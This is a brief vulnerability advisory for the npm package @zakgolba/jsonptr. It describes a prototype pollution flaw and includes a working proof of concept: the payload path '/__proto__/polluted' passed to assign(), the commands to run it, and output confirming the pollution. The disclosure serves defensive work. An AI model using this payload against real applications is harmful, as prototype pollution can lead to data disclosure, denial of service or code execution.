vulnerability prototype pollution
severity 7.3
language typescript
registry npm


@zakgolba/jsonptr is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { assign } = require('@zakgolba/jsonptr')

console.log('Before: ' + {}.polluted)
assign({}, '/__proto__/polluted', true)
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i @zakgolba/jsonptr # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.